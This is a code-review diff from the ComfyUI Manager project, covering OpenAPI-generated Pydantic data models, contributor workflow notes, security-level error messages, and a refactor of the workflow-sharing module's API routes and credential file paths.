"""Mask ``user:pass@`` credentials in URLs."""
return _CREDENTIAL_PATTERN.sub('://****@', url)
# ------------------------------------------------------------------
# Temp-file housekeeping
# ------------------------------------------------------------------
@classmethod
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
"""Remove stale temp directories from previous abnormal terminations."""
tmp_root = tempfile.gettempdir()
now = time.time()
for entry in os.scandir(tmp_root):
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
try:
age = now - entry.stat().st_mtime
if age > max_age_seconds:
shutil.rmtree(entry.path, ignore_errors=True)
logger.info(
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
)
except OSError:
pass
def attribute_conflicts(
sources: dict[str, list[tuple[str, str]]],
conflicts: list[str],
) -> dict[str, list[tuple[str, str]]]:
"""Cross-reference conflict packages with their requesting node packs.
Uses word-boundary regex to prevent false-positive prefix matches
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
"""
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
return {
pkg: reqs
for pkg, reqs in sources.items()
if re.search(
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
conflict_text,
)
}
File diff suppressed because it is too large Load Diff
+68
View File
@@ -0,0 +1,68 @@
# Data Models
This directory contains Pydantic models for ComfyUI Manager, providing type safety, validation, and serialization for the API and internal data structures.
## Overview
- `generated_models.py` - All models auto-generated from OpenAPI spec
- `__init__.py` - Package exports for all models
**Note**: All models are now auto-generated from the OpenAPI specification. Manual model files (`task_queue.py`, `state_management.py`) have been deprecated in favor of a single source of truth.
## Generating Types from OpenAPI
The state management models are automatically generated from the OpenAPI specification using `datamodel-codegen`. This ensures type safety and consistency between the API specification and the Python code.
### Prerequisites
Install the code generator:
```bash
pipx install datamodel-code-generator
```
### Generation Command
To regenerate all models after updating the OpenAPI spec:
```bash
datamodel-codegen \
--use-subclass-enum \
--field-constraints \
--strict-types bytes \
--use-double-quotes \
--input openapi.yaml \
--output comfyui_manager/data_models/generated_models.py \
--output-model-type pydantic_v2.BaseModel
```
### When to Regenerate
You should regenerate the models when:
1. **Adding new API endpoints** that return new data structures
2. **Modifying existing schemas** in the OpenAPI specification
3. **Adding new state management features** that require new models
### Important Notes
- **Single source of truth**: All models are now generated from `openapi.yaml`
- **No manual models**: All previously manual models have been migrated to the OpenAPI spec
- **OpenAPI requirements**: New schemas must be referenced in API paths to be generated by datamodel-codegen
- **Validation**: Always validate the OpenAPI spec before generation:
```bash
python3 -c "import yaml; yaml.safe_load(open('openapi.yaml'))"
```
### Example: Adding New State Models
1. Add your schema to `openapi.yaml` under `components/schemas/`
2. Reference the schema in an API endpoint response
3. Run the generation command above
4. Update `__init__.py` to export the new models
5. Import and use the models in your code
### Troubleshooting
- **Models not generated**: Ensure schemas are under `components/schemas/` (not `parameters/`)
- **Missing models**: Verify schemas are referenced in at least one API path
- **Import errors**: Check that new models are added to `__init__.py` exports
+137
View File
@@ -0,0 +1,137 @@
"""
Data models for ComfyUI Manager.
This package contains Pydantic models used throughout the ComfyUI Manager
for data validation, serialization, and type safety.
All models are auto-generated from the OpenAPI specification to ensure
consistency between the API and implementation.
"""
from .generated_models import (
# Core Task Queue Models
QueueTaskItem,
TaskHistoryItem,
TaskStateMessage,
TaskExecutionStatus,
# WebSocket Message Models
MessageTaskDone,
MessageTaskStarted,
MessageTaskFailed,
MessageUpdate,
ManagerMessageName,
# State Management Models
BatchExecutionRecord,
ComfyUISystemState,
BatchOperation,
InstalledNodeInfo,
InstalledModelInfo,
ComfyUIVersionInfo,
# Import Fail Info Models
ImportFailInfoBulkRequest,
ImportFailInfoBulkResponse,
ImportFailInfoItem,
ImportFailInfoItem1,
# Other models
OperationType,
OperationResult,
ManagerPackInfo,
ManagerPackInstalled,
SelectedVersion,
ManagerChannel,
ManagerDatabaseSource,
ManagerPackState,
ManagerPackInstallType,
ManagerPack,
InstallPackParams,
UpdatePackParams,
UpdateAllPacksParams,
UpdateComfyUIParams,
FixPackParams,
UninstallPackParams,
DisablePackParams,
EnablePackParams,
UpdateAllQueryParams,
UpdateComfyUIQueryParams,
ComfyUISwitchVersionParams,
QueueStatus,
ManagerMappings,
ModelMetadata,
NodePackageMetadata,
SnapshotItem,
Error,
InstalledPacksResponse,
HistoryResponse,
HistoryListResponse,
InstallType,
SecurityLevel,
RiskLevel,
)
__all__ = [
# Core Task Queue Models
"QueueTaskItem",
"TaskHistoryItem",
"TaskStateMessage",
"TaskExecutionStatus",
# WebSocket Message Models
"MessageTaskDone",
"MessageTaskStarted",
"MessageTaskFailed",
"MessageUpdate",
"ManagerMessageName",
# State Management Models
"BatchExecutionRecord",
"ComfyUISystemState",
"BatchOperation",
"InstalledNodeInfo",
"InstalledModelInfo",
"ComfyUIVersionInfo",
# Import Fail Info Models
"ImportFailInfoBulkRequest",
"ImportFailInfoBulkResponse",
"ImportFailInfoItem",
"ImportFailInfoItem1",
# Other models
"OperationType",
"OperationResult",
"ManagerPackInfo",
"ManagerPackInstalled",
"SelectedVersion",
"ManagerChannel",
"ManagerDatabaseSource",
"ManagerPackState",
"ManagerPackInstallType",
"ManagerPack",
"InstallPackParams",
"UpdatePackParams",
"UpdateAllPacksParams",
"UpdateComfyUIParams",
"FixPackParams",
"UninstallPackParams",
"DisablePackParams",
"EnablePackParams",
"UpdateAllQueryParams",
"UpdateComfyUIQueryParams",
"ComfyUISwitchVersionParams",
"QueueStatus",
"ManagerMappings",
"ModelMetadata",
"NodePackageMetadata",
"SnapshotItem",
"Error",
"InstalledPacksResponse",
"HistoryResponse",
"HistoryListResponse",
"InstallType",
"SecurityLevel",
"RiskLevel",
]
@@ -0,0 +1,577 @@
# generated by datamodel-codegen:
# filename: openapi.yaml
# timestamp: 2026-04-19T04:33:23+00:00
from __future__ import annotations
from datetime import datetime
from enum import Enum
from typing import Any, Dict, List, Optional, Union
from pydantic import BaseModel, Field, RootModel
class OperationType(str, Enum):
install = "install"
uninstall = "uninstall"
update = "update"
update_comfyui = "update-comfyui"
fix = "fix"
disable = "disable"
enable = "enable"
install_model = "install-model"
class OperationResult(str, Enum):
success = "success"
failed = "failed"
skipped = "skipped"
error = "error"
skip = "skip"
class TaskExecutionStatus(BaseModel):
status_str: OperationResult
completed: bool = Field(..., description="Whether the task completed")
messages: List[str] = Field(..., description="Additional status messages")
class ManagerMessageName(str, Enum):
cm_task_completed = "cm-task-completed"
cm_task_started = "cm-task-started"
cm_queue_status = "cm-queue-status"
class ManagerPackInfo(BaseModel):
id: str = Field(
...,
description="Either github-author/github-repo or name of pack from the registry",
)
version: str = Field(..., description="Semantic version or Git commit hash")
ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
class ManagerPackInstalled(BaseModel):
ver: str = Field(
...,
description="The version of the pack that is installed (Git commit hash or semantic version)",
)
cnr_id: Optional[str] = Field(
None, description="The name of the pack if installed from the registry"
)
aux_id: Optional[str] = Field(
None,
description="The name of the pack if installed from github (author/repo-name format)",
)
enabled: bool = Field(..., description="Whether the pack is enabled")
class SelectedVersion(str, Enum):
latest = "latest"
nightly = "nightly"
class ManagerChannel(str, Enum):
default = "default"
recent = "recent"
legacy = "legacy"
forked = "forked"
dev = "dev"
tutorial = "tutorial"
class ManagerDatabaseSource(str, Enum):
remote = "remote"
local = "local"
cache = "cache"
class ManagerPackState(str, Enum):
installed = "installed"
disabled = "disabled"
not_installed = "not_installed"
import_failed = "import_failed"
needs_update = "needs_update"
class ManagerPackInstallType(str, Enum):
git_clone = "git-clone"
copy = "copy"
cnr = "cnr"
class SecurityLevel(str, Enum):
strong = "strong"
normal = "normal"
normal_ = "normal-"
weak = "weak"
class RiskLevel(str, Enum):
block = "block"
high_ = "high+"
high = "high"
middle_ = "middle+"
middle = "middle"
class UpdateState(Enum):
false = "false"
true = "true"
class ManagerPack(ManagerPackInfo):
author: Optional[str] = Field(
None, description="Pack author name or 'Unclaimed' if added via GitHub crawl"
)
files: Optional[List[str]] = Field(
None,
description="Repository URLs for installation (typically contains one GitHub URL)",
)
reference: Optional[str] = Field(
None, description="The type of installation reference"
)
title: Optional[str] = Field(None, description="The display name of the pack")
cnr_latest: Optional[SelectedVersion] = None
repository: Optional[str] = Field(None, description="GitHub repository URL")
state: Optional[ManagerPackState] = None
update_state: Optional[UpdateState] = Field(
None, alias="update-state", description="Update availability status"
)
stars: Optional[int] = Field(None, description="GitHub stars count")
last_update: Optional[datetime] = Field(None, description="Last update timestamp")
health: Optional[str] = Field(None, description="Health status of the pack")
description: Optional[str] = Field(None, description="Pack description")
trust: Optional[bool] = Field(None, description="Whether the pack is trusted")
install_type: Optional[ManagerPackInstallType] = None
class InstallPackParams(ManagerPackInfo):
selected_version: Union[str, SelectedVersion] = Field(
..., description="Semantic version, Git commit hash, latest, or nightly"
)
repository: Optional[str] = Field(
None,
description="GitHub repository URL (required if selected_version is nightly)",
)
pip: Optional[List[str]] = Field(None, description="PyPi dependency names")
mode: ManagerDatabaseSource
channel: ManagerChannel
skip_post_install: Optional[bool] = Field(
None, description="Whether to skip post-installation steps"
)
class UpdateAllPacksParams(BaseModel):
mode: Optional[ManagerDatabaseSource] = None
ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
class UpdatePackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to update")
node_ver: Optional[str] = Field(
None, description="Current version of the node package"
)
class UpdateComfyUIParams(BaseModel):
is_stable: Optional[bool] = Field(
True,
description="Whether to update to stable version (true) or nightly (false)",
)
target_version: Optional[str] = Field(
None,
description="Specific version to switch to (for version switching operations)",
)
class FixPackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to fix")
node_ver: str = Field(..., description="Version of the node package")
class UninstallPackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to uninstall")
is_unknown: Optional[bool] = Field(
False, description="Whether this is an unknown/unregistered package"
)
class DisablePackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to disable")
is_unknown: Optional[bool] = Field(
False, description="Whether this is an unknown/unregistered package"
)
class EnablePackParams(BaseModel):
cnr_id: str = Field(
..., description="ComfyUI Node Registry ID of the package to enable"
)
class UpdateAllQueryParams(BaseModel):
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
ui_id: str = Field(..., description="Base UI identifier for task tracking")
mode: Optional[ManagerDatabaseSource] = None
class UpdateComfyUIQueryParams(BaseModel):
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
ui_id: str = Field(..., description="UI identifier for task tracking")
stable: Optional[bool] = Field(
True,
description="Whether to update to stable version (true) or nightly (false)",
)
class ComfyUISwitchVersionParams(BaseModel):
ver: str = Field(..., description="Target ComfyUI version tag")
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
ui_id: str = Field(..., description="UI identifier for task tracking")
class QueueStatus(BaseModel):
total_count: int = Field(
..., description="Total number of tasks (pending + running)"
)
done_count: int = Field(..., description="Number of completed tasks")
in_progress_count: int = Field(..., description="Number of tasks currently running")
pending_count: Optional[int] = Field(
None, description="Number of tasks waiting to be executed"
)
is_processing: bool = Field(..., description="Whether the task worker is active")
client_id: Optional[str] = Field(
None, description="Client ID (when filtered by client)"
)
class ManagerMappings1(BaseModel):
title_aux: Optional[str] = Field(None, description="The display name of the pack")
class ManagerMappings(
RootModel[Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]]]
):
root: Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]] = Field(
None, description="Tuple of [node_names, metadata]"
)
class ModelMetadata(BaseModel):
name: str = Field(..., description="Name of the model")
type: str = Field(..., description="Type of model")
base: Optional[str] = Field(None, description="Base model type")
save_path: Optional[str] = Field(None, description="Path for saving the model")
url: str = Field(..., description="Download URL")
filename: str = Field(..., description="Target filename")
ui_id: Optional[str] = Field(None, description="ID for UI reference")
class InstallType(str, Enum):
git = "git"
copy = "copy"
pip = "pip"
class NodePackageMetadata(BaseModel):
title: Optional[str] = Field(None, description="Display name of the node package")
name: Optional[str] = Field(None, description="Repository/package name")
files: Optional[List[str]] = Field(None, description="Source URLs for the package")
description: Optional[str] = Field(
None, description="Description of the node package functionality"
)
install_type: Optional[InstallType] = Field(None, description="Installation method")
version: Optional[str] = Field(None, description="Version identifier")
id: Optional[str] = Field(
None, description="Unique identifier for the node package"
)
ui_id: Optional[str] = Field(None, description="ID for UI reference")
channel: Optional[str] = Field(None, description="Source channel")
mode: Optional[str] = Field(None, description="Source mode")
class SnapshotItem(RootModel[str]):
root: str = Field(..., description="Name of the snapshot")
class Error(BaseModel):
error: str = Field(..., description="Error message")
class InstalledPacksResponse(RootModel[Optional[Dict[str, ManagerPackInstalled]]]):
root: Optional[Dict[str, ManagerPackInstalled]] = None
class HistoryListResponse(BaseModel):
ids: Optional[List[str]] = Field(
None, description="List of available batch history IDs"
)
class InstalledNodeInfo(BaseModel):
name: str = Field(..., description="Node package name")
version: str = Field(..., description="Installed version")
repository_url: Optional[str] = Field(None, description="Git repository URL")
install_method: str = Field(
..., description="Installation method (cnr, git, pip, etc.)"
)
enabled: Optional[bool] = Field(
True, description="Whether the node is currently enabled"
)
install_date: Optional[datetime] = Field(
None, description="ISO timestamp of installation"
)
class InstalledModelInfo(BaseModel):
name: str = Field(..., description="Model filename")
path: str = Field(..., description="Full path to model file")
type: str = Field(..., description="Model type (checkpoint, lora, vae, etc.)")
size_bytes: Optional[int] = Field(None, description="File size in bytes", ge=0)
hash: Optional[str] = Field(None, description="Model file hash for verification")
install_date: Optional[datetime] = Field(
None, description="ISO timestamp when added"
)
class ComfyUIVersionInfo(BaseModel):
version: str = Field(..., description="ComfyUI version string")
commit_hash: Optional[str] = Field(None, description="Git commit hash")
branch: Optional[str] = Field(None, description="Git branch name")
is_stable: Optional[bool] = Field(
False, description="Whether this is a stable release"
)
last_updated: Optional[datetime] = Field(
None, description="ISO timestamp of last update"
)
class BatchOperation(BaseModel):
operation_id: str = Field(..., description="Unique operation identifier")
operation_type: OperationType
target: str = Field(
..., description="Target of the operation (node name, model name, etc.)"
)
target_version: Optional[str] = Field(
None, description="Target version for the operation"
)
result: OperationResult
error_message: Optional[str] = Field(
None, description="Error message if operation failed"
)
start_time: datetime = Field(
..., description="ISO timestamp when operation started"
)
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when operation completed"
)
client_id: Optional[str] = Field(
None, description="Client that initiated the operation"
)
class ComfyUISystemState(BaseModel):
snapshot_time: datetime = Field(
..., description="ISO timestamp when snapshot was taken"
)
comfyui_version: ComfyUIVersionInfo
frontend_version: Optional[str] = Field(
None, description="ComfyUI frontend version if available"
)
python_version: str = Field(..., description="Python interpreter version")
platform_info: str = Field(
..., description="Operating system and platform information"
)
installed_nodes: Optional[Dict[str, InstalledNodeInfo]] = Field(
None, description="Map of installed node packages by name"
)
installed_models: Optional[Dict[str, InstalledModelInfo]] = Field(
None, description="Map of installed models by name"
)
manager_config: Optional[Dict[str, Any]] = Field(
None, description="ComfyUI Manager configuration settings"
)
comfyui_root_path: Optional[str] = Field(
None, description="ComfyUI root installation directory"
)
model_paths: Optional[Dict[str, List[str]]] = Field(
None, description="Map of model types to their configured paths"
)
manager_version: Optional[str] = Field(None, description="ComfyUI Manager version")
security_level: Optional[SecurityLevel] = None
network_mode: Optional[str] = Field(
None, description="Network mode (online, offline, private)"
)
cli_args: Optional[Dict[str, Any]] = Field(
None, description="Selected ComfyUI CLI arguments"
)
custom_nodes_count: Optional[int] = Field(
None, description="Total number of custom node packages", ge=0
)
failed_imports: Optional[List[str]] = Field(
None, description="List of custom nodes that failed to import"
)
pip_packages: Optional[Dict[str, str]] = Field(
None, description="Map of installed pip packages to their versions"
)
embedded_python: Optional[bool] = Field(
None,
description="Whether ComfyUI is running from an embedded Python distribution",
)
class BatchExecutionRecord(BaseModel):
batch_id: str = Field(..., description="Unique batch identifier")
start_time: datetime = Field(..., description="ISO timestamp when batch started")
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when batch completed"
)
state_before: ComfyUISystemState
state_after: Optional[ComfyUISystemState] = Field(
None, description="System state after batch execution"
)
operations: Optional[List[BatchOperation]] = Field(
None, description="List of operations performed in this batch"
)
total_operations: Optional[int] = Field(
0, description="Total number of operations in batch", ge=0
)
successful_operations: Optional[int] = Field(
0, description="Number of successful operations", ge=0
)
failed_operations: Optional[int] = Field(
0, description="Number of failed operations", ge=0
)
skipped_operations: Optional[int] = Field(
0, description="Number of skipped operations", ge=0
)
class ImportFailInfoBulkRequest(BaseModel):
cnr_ids: Optional[List[str]] = Field(
None, description="A list of CNR IDs to check."
)
urls: Optional[List[str]] = Field(
None, description="A list of repository URLs to check."
)
class ImportFailInfoItem1(BaseModel):
error: Optional[str] = None
traceback: Optional[str] = None
class ImportFailInfoItem(RootModel[Optional[ImportFailInfoItem1]]):
root: Optional[ImportFailInfoItem1]
class QueueTaskItem(BaseModel):
ui_id: str = Field(..., description="Unique identifier for the task")
client_id: str = Field(..., description="Client identifier that initiated the task")
kind: OperationType
params: Union[
InstallPackParams,
UpdatePackParams,
UpdateAllPacksParams,
UpdateComfyUIParams,
FixPackParams,
UninstallPackParams,
DisablePackParams,
EnablePackParams,
ModelMetadata,
]
class TaskHistoryItem(BaseModel):
ui_id: str = Field(..., description="Unique identifier for the task")
client_id: str = Field(..., description="Client identifier that initiated the task")
kind: str = Field(..., description="Type of task that was performed")
timestamp: datetime = Field(..., description="ISO timestamp when task completed")
result: str = Field(..., description="Task result message or details")
status: Optional[TaskExecutionStatus] = None
batch_id: Optional[str] = Field(
None, description="ID of the batch this task belongs to"
)
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when task execution ended"
)
params: Optional[
Union[
InstallPackParams,
UpdatePackParams,
UpdateAllPacksParams,
UpdateComfyUIParams,
FixPackParams,
UninstallPackParams,
DisablePackParams,
EnablePackParams,
ModelMetadata,
]
] = Field(
None,
description="Original task parameters (mirrors QueueTaskItem.params); null if unavailable",
)
class TaskStateMessage(BaseModel):
history: Dict[str, TaskHistoryItem] = Field(
..., description="Map of task IDs to their history items"
)
running_queue: List[QueueTaskItem] = Field(
..., description="Currently executing tasks"
)
pending_queue: List[QueueTaskItem] = Field(
..., description="Tasks waiting to be executed"
)
installed_packs: Dict[str, ManagerPackInstalled] = Field(
..., description="Map of currently installed node packages by name"
)
class MessageTaskDone(BaseModel):
ui_id: str = Field(..., description="Task identifier")
result: str = Field(..., description="Task result message")
kind: str = Field(..., description="Type of task")
status: Optional[TaskExecutionStatus] = None
timestamp: datetime = Field(..., description="ISO timestamp when task completed")
state: TaskStateMessage
class MessageTaskStarted(BaseModel):
ui_id: str = Field(..., description="Task identifier")
kind: str = Field(..., description="Type of task")
timestamp: datetime = Field(..., description="ISO timestamp when task started")
state: TaskStateMessage
class MessageTaskFailed(BaseModel):
ui_id: str = Field(..., description="Task identifier")
error: str = Field(..., description="Error message")
kind: str = Field(..., description="Type of task")
timestamp: datetime = Field(..., description="ISO timestamp when task failed")
state: TaskStateMessage
class MessageUpdate(
RootModel[Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed]]
):
root: Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed] = Field(
..., description="Union type for all possible WebSocket message updates"
)
class HistoryResponse(BaseModel):
history: Optional[Dict[str, TaskHistoryItem]] = Field(
None, description="Map of task IDs to their history items"
)
class ImportFailInfoBulkResponse(RootModel[Optional[Dict[str, ImportFailInfoItem]]]):
root: Optional[Dict[str, ImportFailInfoItem]] = None
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+11
View File
@@ -0,0 +1,11 @@
- Anytime you make a change to the data being sent or received, you should follow this process:
1. Adjust the openapi.yaml file first
2. Verify the syntax of the openapi.yaml file using `yaml.safe_load`
3. Regenerate the types following the instructions in the `data_models/README.md` file
4. Verify the new data model is generated
5. Verify the syntax of the generated types files
6. Run formatting and linting on the generated types files
7. Adjust the `__init__.py` files in the `data_models` directory to match/export the new data model
8. Only then, make the changes to the rest of the codebase
9. Run the CI tests to verify that the changes are working
- The comfyui_manager is a python package that is used to manage the comfyui server. There are two sub-packages `glob` and `legacy`. These represent the current version (`glob`) and the previous version (`legacy`), not including common utilities and data models. When developing, we work in the `glob` package. You can ignore the `legacy` package entirely, unless you have a very good reason to research how things were done in the legacy or prior major versions of the package. But in those cases, you should just look for the sake of knowledge or reflection, not for changing code (unless explicitly asked to do so).
View File
+56
View File
@@ -0,0 +1,56 @@
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_HIGH_P = "ERROR: To use this action, '--listen' must be set to a local IP and security_level must be 'normal-' or lower. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
def is_loopback(address):
import ipaddress
try:
return ipaddress.ip_address(address).is_loopback
except ValueError:
return False
model_dir_name_map = {
"checkpoints": "checkpoints",
"checkpoint": "checkpoints",
"unclip": "checkpoints",
"text_encoders": "text_encoders",
"clip": "text_encoders",
"vae": "vae",
"lora": "loras",
"t2i-adapter": "controlnet",
"t2i-style": "controlnet",
"controlnet": "controlnet",
"clip_vision": "clip_vision",
"gligen": "gligen",
"upscale": "upscale_models",
"embedding": "embeddings",
"embeddings": "embeddings",
"unet": "diffusion_models",
"diffusion_model": "diffusion_models",
}
# List of all model directory names used for checking installed models
MODEL_DIR_NAMES = [
"checkpoints",
"loras",
"vae",
"text_encoders",
"diffusion_models",
"clip_vision",
"embeddings",
"diffusers",
"vae_approx",
"controlnet",
"gligen",
"upscale_models",
"hypernetworks",
"photomaker",
"classifiers",
]
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -1,5 +1,7 @@
import mimetypes
import manager_core as core
from ..common import context
from . import manager_core as core
import os
from aiohttp import web
import aiohttp
@@ -8,6 +10,16 @@ import hashlib
import folder_paths
from server import PromptServer
import logging
import sys
try:
from nio import AsyncClient, LoginResponse, UploadResponse
matrix_nio_is_available = True
except Exception:
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
matrix_nio_is_available = False
def extract_model_file_names(json_data):
@@ -53,7 +65,7 @@ def compute_sha256_checksum(filepath):
return sha256.hexdigest()
@PromptServer.instance.routes.get("/manager/share_option")
@PromptServer.instance.routes.get("/v2/manager/share_option")
async def share_option(request):
if "value" in request.rel_url.query:
core.get_config()['share_option'] = request.rel_url.query['value']
@@ -65,21 +77,21 @@ async def share_option(request):
def get_openart_auth():
if not os.path.exists(os.path.join(core.manager_files_path, ".openart_key")):
if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
return None
try:
with open(os.path.join(core.manager_files_path, ".openart_key"), "r") as f:
with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
openart_key = f.read().strip()
return openart_key if openart_key else None
except:
except Exception:
return None
def get_matrix_auth():
if not os.path.exists(os.path.join(core.manager_files_path, "matrix_auth")):
if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
return None
try:
with open(os.path.join(core.manager_files_path, "matrix_auth"), "r") as f:
with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
matrix_auth = f.read()
homeserver, username, password = matrix_auth.strip().split("\n")
if not homeserver or not username or not password:
@@ -89,40 +101,40 @@ def get_matrix_auth():
"username": username,
"password": password,
}
except:
except Exception:
return None
def get_comfyworkflows_auth():
if not os.path.exists(os.path.join(core.manager_files_path, "comfyworkflows_sharekey")):
if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
return None
try:
with open(os.path.join(core.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
share_key = f.read()
if not share_key.strip():
return None
return share_key
except:
except Exception:
return None
def get_youml_settings():
if not os.path.exists(os.path.join(core.manager_files_path, ".youml")):
if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
return None
try:
with open(os.path.join(core.manager_files_path, ".youml"), "r") as f:
with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
youml_settings = f.read().strip()
return youml_settings if youml_settings else None
except:
except Exception:
return None
def set_youml_settings(settings):
with open(os.path.join(core.manager_files_path, ".youml"), "w") as f:
with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
f.write(settings)
@PromptServer.instance.routes.get("/manager/get_openart_auth")
@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
async def api_get_openart_auth(request):
# print("Getting stored Matrix credentials...")
openart_key = get_openart_auth()
@@ -131,16 +143,16 @@ async def api_get_openart_auth(request):
return web.json_response({"openart_key": openart_key})
@PromptServer.instance.routes.post("/manager/set_openart_auth")
@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
async def api_set_openart_auth(request):
json_data = await request.json()
openart_key = json_data['openart_key']
with open(os.path.join(core.manager_files_path, ".openart_key"), "w") as f:
with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
f.write(openart_key)
return web.Response(status=200)
@PromptServer.instance.routes.get("/manager/get_matrix_auth")
@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
async def api_get_matrix_auth(request):
# print("Getting stored Matrix credentials...")
matrix_auth = get_matrix_auth()
@@ -149,7 +161,7 @@ async def api_get_matrix_auth(request):
return web.json_response(matrix_auth)
@PromptServer.instance.routes.get("/manager/youml/settings")
@PromptServer.instance.routes.get("/v2/manager/youml/settings")
async def api_get_youml_settings(request):
youml_settings = get_youml_settings()
if not youml_settings:
@@ -157,14 +169,14 @@ async def api_get_youml_settings(request):
return web.json_response(json.loads(youml_settings))
@PromptServer.instance.routes.post("/manager/youml/settings")
@PromptServer.instance.routes.post("/v2/manager/youml/settings")
async def api_set_youml_settings(request):
json_data = await request.json()
set_youml_settings(json.dumps(json_data))
return web.Response(status=200)
@PromptServer.instance.routes.get("/manager/get_comfyworkflows_auth")
@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
async def api_get_comfyworkflows_auth(request):
# Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
# in the same directory as the ComfyUI base folder
@@ -175,31 +187,39 @@ async def api_get_comfyworkflows_auth(request):
return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
@PromptServer.instance.routes.post("/manager/set_esheep_workflow_and_images")
@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
async def set_esheep_workflow_and_images(request):
json_data = await request.json()
with open(os.path.join(core.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
json.dump(json_data, file, indent=4)
return web.Response(status=200)
@PromptServer.instance.routes.get("/manager/get_esheep_workflow_and_images")
@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
async def get_esheep_workflow_and_images(request):
with open(os.path.join(core.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
data = json.load(file)
return web.Response(status=200, text=json.dumps(data))
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
async def get_matrix_dep_status(request):
if matrix_nio_is_available:
return web.Response(status=200, text='available')
else:
return web.Response(status=200, text='unavailable')
def set_matrix_auth(json_data):
homeserver = json_data['homeserver']
username = json_data['username']
password = json_data['password']
with open(os.path.join(core.manager_files_path, "matrix_auth"), "w") as f:
with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
f.write("\n".join([homeserver, username, password]))
def set_comfyworkflows_auth(comfyworkflows_sharekey):
with open(os.path.join(core.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
f.write(comfyworkflows_sharekey)
@@ -211,7 +231,7 @@ def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
return comfyworkflows_sharekey.strip()
@PromptServer.instance.routes.post("/manager/share")
@PromptServer.instance.routes.post("/v2/manager/share")
async def share_art(request):
# get json data
json_data = await request.json()
@@ -233,7 +253,7 @@ async def share_art(request):
try:
output_to_share = potential_outputs[int(selected_output_index)]
except:
except Exception:
# for now, pick the first output
output_to_share = potential_outputs[0]
@@ -329,14 +349,12 @@ async def share_art(request):
workflowId = upload_workflow_json["workflowId"]
# check if the user has provided Matrix credentials
if "matrix" in share_destinations:
if matrix_nio_is_available and "matrix" in share_destinations:
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
filename = os.path.basename(asset_filepath)
content_type = assetFileType
try:
from nio import AsyncClient, LoginResponse, UploadResponse
homeserver = 'matrix.org'
if matrix_auth:
homeserver = matrix_auth.get('homeserver', 'matrix.org')
@@ -0,0 +1,138 @@
import os
